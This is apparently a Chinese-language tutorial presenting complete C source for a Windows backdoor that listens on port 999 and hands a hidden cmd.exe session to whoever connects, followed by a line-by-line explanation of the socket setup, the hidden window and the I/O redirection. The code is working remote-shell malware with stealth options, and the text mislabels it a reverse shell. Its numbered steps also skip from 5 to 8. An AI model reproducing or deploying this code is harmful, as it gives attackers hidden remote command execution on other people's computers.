#pragma comment(lib, "ws2_32.lib")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include
#include
#define MasterPort 999 //定义监听端口999
main() //主函数入口
{
WSADATA WSADa;
sockaddr_in SockAddrIn;
SOCKET CSocket, SSocket;
int iAddrSize;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255];
//分配内存资源,初始化数据:
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
ZeroMemory(&WSADa, sizeof(WSADATA));
//获取cmd路径
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
//加载ws2_32.dll:
WSAStartup(0x0202, &WSADa);
//设置本地信息和绑定协议,建立socket,代码如下:
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.s_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//设置绑定端口999:
bind(CSocket, (sockaddr*)&SockAddrIn, sizeof(SockAddrIn));
//设置服务器端监听端口:
listen(CSocket, 1);
iAddrSize = sizeof(SockAddrIn);
//开始连接远程服务器,并配置隐藏窗口结构体:
SSocket = accept(CSocket, (sockaddr*)&SockAddrIn, &iAddrSize);
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//创建匿名管道:
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
//关闭进程句柄:
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//关闭连接卸载ws2_32.dll
return 0;
}
代码讲解:
这段代码是一个 Windows 平台上的反向 shell 示例,用于监听指定端口并接受连接。一旦连接建立,它将启动一个命令提示符进程,并将其输入和输出重定向到连接的客户端。以下是代码的详细解释:
1. 链接 Winsock 库:
#pragma comment(lib, "ws2_32.lib")
这一行告诉链接器链接到 Winsock 2 库,以便使用网络功能。
2. 设置链接选项:
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
这一行设置链接选项,使程序在 Windows 子系统中运行,并指定程序的入口点。
3. 包含头文件:
#include
#include
这些行包括 Windows 和 Winsock API 的必要头文件。
4. 定义监听端口:
#define MasterPort 999
这一行定义了服务器将监听的端口号。
5. 初始化内存:
使用 ZeroMemory 函数初始化变量,确保它们不包含任何垃圾数据。
8. 获取命令提示符路径(为了能够启动一个新的命令提示符进程):
使用 GetEnvironmentVariable 函数获取 "COMSPEC" 环境变量的值,该值通常指向cmd.exe。
9. 初始化 Winsock:
使用 WSAStartup函数初始化 Winsock 库。
10. 设置套接字地址结构:
配置 sockaddr_in结构以便绑定套接字。
11. 创建套接字:
使用 WSASocket 函数创建套接字。
12. 绑定套接字:
使用 bind 函数将套接字绑定到指定的端口。
13. 监听连接:
使用 listen函数开始监听连接。
14. 接受连接:
使用 accept 函数等待并接受连接。
15. 配置启动信息:
设置 STARTUPINFO 结构以重定向新进程的 I/O 并隐藏窗口。
16. 创建进程:
使用 CreateProcess函数启动命令提示符进程。
17. 等待进程结束:
使用 WaitForSingleObject 函数等待进程结束。
18. 关闭句柄和套接字:
清理资源并关闭套接字。
19. 卸载 Winsock 库:
使用 WSACleanup 函数卸载 Winsock 库。
总的来说,这个程序创建了一个监听指定端口的服务器,等待连接,然后启动一个命令提示符进程,并将其输入和输出重定向到连接的客户端。这允许连接的客户端通过网络控制新进程,就像它是在本地运行一样。
启动一个命令提示符进程,并将其输入和输出重定向到连接的客户端解释:
在提供的代码示例中,启动命令提示符进程并将其输入和输出重定向到连接的客户端的部分如下:
1. 配置启动信息:
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
这些行配置 `STARTUPINFO` 结构,该结构用于指定新进程的启动参数。这里的设置将新进程的标准输入、输出和错误句柄重定向到接受的套接字(SSocket),从而允许远程控制新进程的 I/O。窗口被设置为隐藏,以便进程在用户界面中不可见。2. 创建进程:
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
这一行使用上述的启动信息创建一个新进程。szCMDPath参数指定了要运行的命令行,这里是通过 GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath)); 获取的命令提示符的路径。这些代码行共同实现了启动一个新的命令提示符进程,并将其输入和输出重定向到连接的客户端,从而允许远程用户通过网络连接控制命令提示符。